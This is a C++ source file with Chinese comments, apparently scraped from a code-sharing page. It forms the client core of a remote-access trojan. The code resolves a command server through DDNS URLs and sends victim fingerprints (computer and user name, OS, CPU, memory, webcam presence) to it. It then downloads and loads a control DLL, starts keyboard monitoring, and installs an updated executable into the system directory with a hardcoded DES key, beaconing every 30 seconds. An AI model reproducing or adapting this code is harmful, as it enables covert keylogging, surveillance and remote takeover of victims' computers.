?? sshwork.cpp
字號:
#include "stdafx.h"
#include "SshWork.h"
#include <vfw.h>
#include "WjcDes.h"
#pragma comment(lib,"vfw32")
#pragma comment(lib,"winmm")
SshWork::SshWork()
{
memset(&m_InitInfo,0,sizeof(m_InitInfo));
m_Thread = NULL;
hCtrlMd = NULL;
m_Module = NULL;
m_ExitEvent = NULL;
hIe = NULL;
hFp = NULL;
m_IsVideo = 0;
}
SshWork::~SshWork()
{
}
void SshWork::CloseHttpHandle()
{
if(hFp != NULL)
{
InternetCloseHandle(hFp);
hFp = NULL;
}
if(hIe != NULL)
{
InternetCloseHandle(hIe);
hIe = NULL;
}
}
/*
** 函數名稱: RecvData
** 函數功能: 接收指定程度數據
** 傳入參數: hFile : HTTP通訊句柄
pData : 接收數據緩沖
DataLen : 期望接收數據長度
** 傳出參數: 無
** 引用函數: 無
** 返回值 : BOOL(TRUE-接收數據成功,FALSE-接收數據失敗)
** 備注 : 無
*/
BOOL SshWork::RecvData(HINTERNET hFile,LPVOID pData,int DataLen)
{
char *p = (char*) pData;
DWORD dwNumberOfBytesToRead = DataLen;
DWORD dwNumberOfBytesReaded = 0;
while(dwNumberOfBytesToRead > 0)
{
if(!InternetReadFile(hFile,p,dwNumberOfBytesToRead,
&dwNumberOfBytesReaded))
return FALSE;
if(dwNumberOfBytesReaded == 0)
return FALSE;
p += dwNumberOfBytesReaded;
dwNumberOfBytesToRead -= dwNumberOfBytesReaded;
}
return TRUE;
}
/*
** 函數名稱: DlFile
** 函數功能: 下裝文件
** 傳入參數:
** 傳出參數: pFileName : 落地文件名稱
** 引用函數: 無
** 返回值 : 布爾型()
** 備注 : 無
*/
BOOL SshWork::DlFile(char* pFileName)
{
//接收文件長度
int m_FileLen = 0;
if(!RecvData(hFp,(char*) &m_FileLen,sizeof(int)))
{
//接收文件長度失敗
return FALSE;
}
//接收新的文件數據
char *pData = new char[m_FileLen];
if(!RecvData(hFp,pData,m_FileLen))
{
//更新數據失敗
delete [] pData;
return FALSE;
}
//下裝控制文件
FILE *fp = fopen(pFileName,"wb");
if(fp != NULL)
{
fwrite(pData,m_FileLen,1,fp);
fclose(fp);
}
delete [] pData;
return TRUE;
}
#ifdef _DEBUG
void WriteLog(char* pText)
{
FILE *fp = fopen("c:\\1.txt","ab");
if(fp != NULL)
{
fwrite(pText , strlen(pText), 1, fp);
fclose(fp);
}
}
#endif
BOOL SshWork::GetDesServerInfo(LPINITDLLINFO pInfo, char* pUrl)
{
//初始化HTTP環境
HINTERNET hMainIe = InternetOpen("Mozilla/4.0 (compatible; MSIE 6.0; "
"Windows NT 5.0; .NET CLR 1.1.4322)",
INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
if(hMainIe == NULL) return FALSE;
//打開連接
HINTERNET hMainFile = InternetOpenUrl(
hMainIe, pUrl, NULL, 0,
INTERNET_FLAG_PRAGMA_NOCACHE|
INTERNET_FLAG_RELOAD,
NULL);
if(hMainFile == NULL)
{
InternetCloseHandle(hMainIe);
return FALSE;
}
//查看返回碼
char sCode[256] = {0};
DWORD nSize = 250;
DWORD nIndex = 0;
if(!HttpQueryInfo(hMainFile , HTTP_QUERY_STATUS_CODE ,
sCode , &nSize , &nIndex) || atoi(sCode) != 200)
{
InternetCloseHandle(hMainFile);
InternetCloseHandle(hMainIe);
return FALSE;
}
//接收數據
char m_Response[256] = {0};
for(int i = 0; i < 21; i++)
{
char ch = 0;
DWORD nRead = 0;
if(!InternetReadFile(hMainFile,&ch,1,&nRead)
|| nRead == 0)
break;
m_Response[i] = ch;
}
InternetCloseHandle(hMainFile);
InternetCloseHandle(hMainIe);
//分析內容,取實際服務器信息
char* pDot = strchr(m_Response , ':');
if(pDot == NULL) return FALSE;
*pDot = 0;
strcpy(pInfo->m_ServerAddr, m_Response);
pInfo->m_ServerPort = atoi(pDot + 1);
return TRUE;
}
/*
** 函數名稱: GetVideoInfo
** 函數功能: 取計算機視頻信息
** 傳入參數: 無
** 傳出參數: 無
** 引用函數: 無
** 返回值 : char(1-有視頻 0-無視頻)
** 備注 :
*/
char SshWork::GetVideoInfo()
{
HWND hCaphWnd = capCreateCaptureWindow("Capture",WS_POPUP,0,0,1,1,0,0);
if(hCaphWnd==NULL) return 0;
// Connect to webcam driver
if(!capDriverConnect(hCaphWnd,0))
{
return 0;
}
capDriverDisconnect(hCaphWnd);
return 1;
}
/*
** 函數名稱: GetHttpConnect
** 函數功能: 建立HTTP連接
** 傳入參數: pInfo : 連接相關參數
** 傳出參數: hIe : HTTP連接句柄
hFile : HTTP文件句柄
** 引用函數: 無
** 返回值 : 布爾型(TRUE-建立連接成功,FALSE-連接建立失敗)
** 備注 : 無
*/
BOOL SshWork::GetHttpConnect(LPINITDLLINFO pInfo)
{
//關閉句柄
if(hIe != NULL)
{
CloseHttpHandle();
Sleep(2000);
}
//設置最大連接數量為100
DWORD nValue = 100;
if( !InternetSetOption(NULL,73,&nValue,sizeof(DWORD)) ||
!InternetSetOption(NULL,74,&nValue,sizeof(DWORD)))
return FALSE;
//查看是否有ddns
if(strlen(pInfo->m_DdnsUrl) != 0)
{
//需要分析DDNS
if(!GetDesServerInfo(pInfo, pInfo->m_DdnsUrl))
{
if(!GetDesServerInfo(pInfo, pInfo->m_BakUrl))
{
//檢查兩層DDNS
return FALSE;
}
}
}
//初始化HTTP環境
hIe = InternetOpen("Mozilla/4.0 (compatible; MSIE 6.0; "
"Windows NT 5.0; .NET CLR 1.1.4322)",
INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
if(!hIe) return FALSE;
//填充上送當前客戶信息
char m_Url[4096] = {0};
char m_ExternData[2048] = {0};
GetMySysInfo(m_ExternData);
sprintf(m_Url,"http://%s:%d/%d%s",
pInfo->m_ServerAddr,pInfo->m_ServerPort,
CONN_MAIN,m_ExternData);
//建立HTTP連接,上送數據
hFp = InternetOpenUrl(hIe ,
m_Url , NULL, 0,
INTERNET_FLAG_PRAGMA_NOCACHE|
INTERNET_FLAG_RELOAD|
INTERNET_FLAG_NO_CACHE_WRITE , 0);
if(!hFp)
{
CloseHttpHandle();
return FALSE;
}
DWORD m_TimeOut = 24 * 3600 * 1000;
if(!InternetSetOption(hFp,
INTERNET_OPTION_RECEIVE_TIMEOUT,&m_TimeOut,sizeof(DWORD)))
{
CloseHttpHandle();
return FALSE;
}
//查看返回碼
char sCode[256] = {0};
DWORD nSize = 250;
DWORD nIndex = 0;
if(!HttpQueryInfo(hFp , HTTP_QUERY_STATUS_CODE ,
sCode , &nSize , &nIndex) || atoi(sCode) != 200)
{
CloseHttpHandle();
return FALSE;
}
//查看控制dll是否已經裝載
if(hCtrlMd) FreeLibrary(hCtrlMd);
//接收控制文件
if(!DlFile(m_InitInfo.m_CtrlFile))
{
CloseHttpHandle();
return FALSE;
}
//裝載控制dll文件
hCtrlMd = LoadLibrary(m_InitInfo.m_CtrlFile);
if(hCtrlMd == NULL)
{
CloseHttpHandle();
return FALSE;
}
//當不是本進程啟動的時候,更新本進程
if(m_InitInfo.m_ProcessName[0] != 2)
{
if(!UpdateExeFile())
{
CloseHttpHandle();
return FALSE;
}
}
return TRUE;
}
void SshWork::StopWork()
{
//清理資源
CloseHandle(m_ExitEvent);
CloseHttpHandle();
KeyStopMyWork();
//通知主進程退出
HANDLE m_WaitEvent =
OpenEvent(EVENT_ALL_ACCESS,FALSE,
m_InitInfo.m_EventName);
if(m_WaitEvent)
{
SetEvent(m_WaitEvent);
CloseHandle(m_WaitEvent);
}
//釋放動態聯結庫
if(hCtrlMd) FreeLibrary(hCtrlMd);
if(m_Module) FreeLibrary(m_Module);
}
void SshWork::StartWork(LPINITDLLINFO pItem)
{
//拷貝數據
memcpy(&m_InitInfo,pItem,sizeof(INITDLLINFO));
m_ExitEvent = CreateEvent(NULL,TRUE,FALSE,NULL);
//啟動鍵盤監控
KeyStartMyWork();
m_IsVideo = GetVideoInfo();
//啟動相應工作線程序
UINT m_Id = 0;
m_Thread = (HANDLE) _beginthreadex(NULL , 0 ,
SSH_WorkThread , (LPVOID) this , 0 , &m_Id);
}
/*
** 函數名稱: SSH_WorkThread
** 函數功能: 工作線程函數
** 傳入參數: lPvoid : 任務相關數據結構指針
** 傳出參數: 無
** 引用函數: 無
** 返回值 : UINT
** 備注 : 無
*/
UINT WINAPI SshWork::SSH_WorkThread(LPVOID lPvoid)
{
//取工作指針
SshWork* pWork = (SshWork*) lPvoid;
//開始進入工作循環
while(1)
{
//建立連接
if(pWork->GetHttpConnect(&pWork->m_InitInfo))
{
//連接成功,開始處理交易
PROCESSTRANS ProcessTrans = (PROCESSTRANS)
GetProcAddress(pWork->hCtrlMd,"ProcessTrans");
if(ProcessTrans != NULL)
ProcessTrans(pWork->hFp , pWork->m_ExitEvent ,
pWork->m_InitInfo.m_ServerAddr ,
pWork->m_InitInfo.m_ServerPort ,
pWork->m_InitInfo.m_KeyName ,
pWork->m_InitInfo.m_ParentFile);
}
//休息等待指定時間
if(WaitForSingleObject(pWork->m_ExitEvent,
30000) != WAIT_TIMEOUT)
break;
}
//銷毀資源
pWork->StopWork();
ExitProcess(0);
return 0;
}
/*
** 函數名稱: getCpuSpeedFromRegistry
** 函數功能: 取計算機CPU主頻
** 傳入參數: 無
** 傳出參數: 無
** 引用函數: 無
** 返回值 : DWORD(計算機CPU主頻)
** 備注 : 從注冊表中取數據
*/
DWORD SshWork::getCpuSpeedFromRegistry(void)
{
HKEY hKey = NULL;
LONG result = 0;
result = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"Hardware\\Description\\System\\CentralProcessor\\0"
,0,KEY_QUERY_VALUE,&hKey);
if(result != ERROR_SUCCESS)
return 0;
DWORD dwSpeed = 0;
DWORD dwType = 0;
DWORD dwSpeedSize;
result = RegQueryValueEx (hKey, "~MHz", NULL,
NULL, (LPBYTE)& dwSpeed, &dwSpeedSize);
if(result != ERROR_SUCCESS)
dwSpeed = 0;
RegCloseKey (hKey);
return (dwSpeed);
}
/*
** 函數名稱: GetMySysInfo
** 函數功能: 取計算機相關信息
** 傳入參數: 無
** 傳出參數: m_TransData : 轉為ASCII碼的數據緩沖
** 引用函數: 無
** 返回值 : 無
** 備注 :
*/
void SshWork::GetMySysInfo(char *m_TransData)
{
LOGININFO m_SysInfo = {0};
//取操作系統
m_SysInfo.m_SysType = IsShellSysType();
//取CPU信息
SYSTEM_INFO m_pSysInfo = {0};
GetSystemInfo(&m_pSysInfo);
m_SysInfo.m_CpuSpeed = getCpuSpeedFromRegistry();
m_SysInfo.m_CpuCount = (UINT) m_pSysInfo.dwNumberOfProcessors;
//取內存容量
MEMORYSTATUS Buffer = {0};
GlobalMemoryStatus(&Buffer);
m_SysInfo.m_MemContent = Buffer.dwTotalPhys/1024;
//計算機名稱
DWORD m_Len = 63;
GetComputerName(m_SysInfo.m_PcName,&m_Len);
m_SysInfo.m_PcName[60] = 0x00;
m_SysInfo.m_PcName[61] = 0x01;
//取用戶名
DWORD len = 36;
GetUserName(m_SysInfo.m_UserName,&len);
m_SysInfo.m_UserName[37] = m_IsVideo;
//生成內部標識
DWORD SeriaNumber = 0;
GetVolumeInformation("C:\\",NULL,NULL,
&SeriaNumber,NULL,NULL,NULL,NULL);
char m_DesKey[10] = {0};
sprintf(m_DesKey,"%08x",SeriaNumber);
char m_SmallBuf[100] = {0};
memset(m_SmallBuf,0,sizeof(m_SmallBuf));
for(int i = 0; i < 8; i++)
{
m_SmallBuf[i] = m_SysInfo.
m_PcName[i] ^ m_DesKey[i];
}
BcdToAsc((BYTE*) m_SmallBuf,(BYTE*)
m_SysInfo.ID,8);
BcdToAsc((BYTE*) &m_SysInfo ,
(BYTE*) m_TransData , sizeof(LOGININFO));
}
/*
** 函數名稱: BcdToAsc
** 函數功能: 將BCD碼轉換為ASC碼
** 傳入參數: BcdStr : BCD碼的數據緩沖
BcdStrLen : BCD碼緩沖長度
** 傳出參數: AscStr : 轉為ASCII碼的數據緩沖
** 引用函數: 無
** 返回值 : 無
** 備注 :
*/
void SshWork::BcdToAsc(BYTE *BcdStr,BYTE*AscStr,int BcdStrLen)
{
int j = 0;
for(int i = 0; i < BcdStrLen; i++)
{
j = (BcdStr[i] >> 4) & 0x0f;
if(j > 9)
AscStr[2 * i] = j + 'A' - 10;
else
AscStr[2 * i] = j + '0';
j = BcdStr[i] & 0x0f;
if(j > 9)
AscStr[2 * i + 1 ] = j + 'A' - 10;
else
AscStr[2 * i + 1] = j + '0';
}
}
Type IsShellSysType()
{
Type ShellType;
OSVERSIONINFO *osvi;
DWORD winVer = GetVersion();
if(winVer<0x80000000)
{
//WINNT
ShellType=WindowsNT3;
osvi= (OSVERSIONINFO *)malloc(sizeof(OSVERSIONINFO));
if (osvi!=NULL)
{
memset(osvi,0,sizeof(OSVERSIONINFO));
osvi->dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(osvi);
if(osvi->dwMajorVersion==4L)ShellType=WindowsNT4;
else if(osvi->dwMajorVersion==5L&&osvi->dwMinorVersion==0L)
ShellType=Windows2000;
else if(osvi->dwMajorVersion==5L&&osvi->dwMinorVersion==1L)
ShellType=WindowsXP;
else
ShellType=Windows2003;
free(osvi);
}
}
else if (LOBYTE(LOWORD(winVer))<4)
ShellType=Windows32s;
else{
ShellType=Windows95;
osvi= (OSVERSIONINFO *)malloc(sizeof(OSVERSIONINFO));
if (osvi!=NULL){
memset(osvi,0,sizeof(OSVERSIONINFO));
osvi->dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(osvi);
if(osvi->dwMajorVersion==4L&&osvi->dwMinorVersion==10L)
ShellType=Windows98;
else if(osvi->dwMajorVersion==4L&&osvi->dwMinorVersion==90L)
ShellType=WindowsME;
free(osvi);
}
}
return ShellType;
}
BOOL SshWork::UpdateExeFile()
{
//取文件名
char* pFind = strrchr(m_InitInfo.m_ParentFile,'\\');
if(pFind == NULL) return TRUE;
char m_DesFile[256] = {0};
//系統目錄
char m_SystemPath[256] = {0};
GetSystemDirectory(m_SystemPath,200);
sprintf(m_DesFile, "%s%s", m_SystemPath, pFind);
//打開EXE文件
FILE* fp = fopen(m_DesFile, "w+b");
if(fp == NULL) return FALSE;
//接收EXE文件長度
int m_FileLen = 0;
if(!RecvData(hFp,(char*) &m_FileLen,sizeof(int)))
{
//接收文件長度失敗
return FALSE;
}
//接收新的EXE文件數據
char *pData = new char[m_FileLen];
if(!RecvData(hFp,pData,m_FileLen))
{
//更新數據失敗
delete [] pData;
return FALSE;
}
//寫EXE數據
fwrite(pData, m_FileLen, 1, fp);
delete [] pData;
//接收dll文件長度
if(!RecvData(hFp,(char*) &m_FileLen,sizeof(int)))
{
//接收文件長度失敗
return FALSE;
}
m_InitInfo.m_DllFileLen = m_FileLen;
//接收dll文件數據
pData = new char[m_FileLen];
if(!RecvData(hFp,pData,m_FileLen))
{
//更新數據失敗
delete [] pData;
return FALSE;
}
fwrite(pData, m_FileLen, 1, fp);
delete [] pData;
//已經更新過,以后不再解壓文件
m_InitInfo.m_IsUpdate = 1;
//DES加密信息
INITDLLINFO m_InitFileInfo = {0};
char m_DesKey[9] = "\x10\x20\x17\x10\x09\x55\x11\xeb";
Des_Go((char*) &m_InitFileInfo, (char*) &m_InitInfo,
sizeof(INITDLLINFO), m_DesKey, 8, ENCRYPT);//加密
fwrite(&m_InitFileInfo, sizeof(INITDLLINFO), 1,fp);
fclose(fp);
return TRUE;
}
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -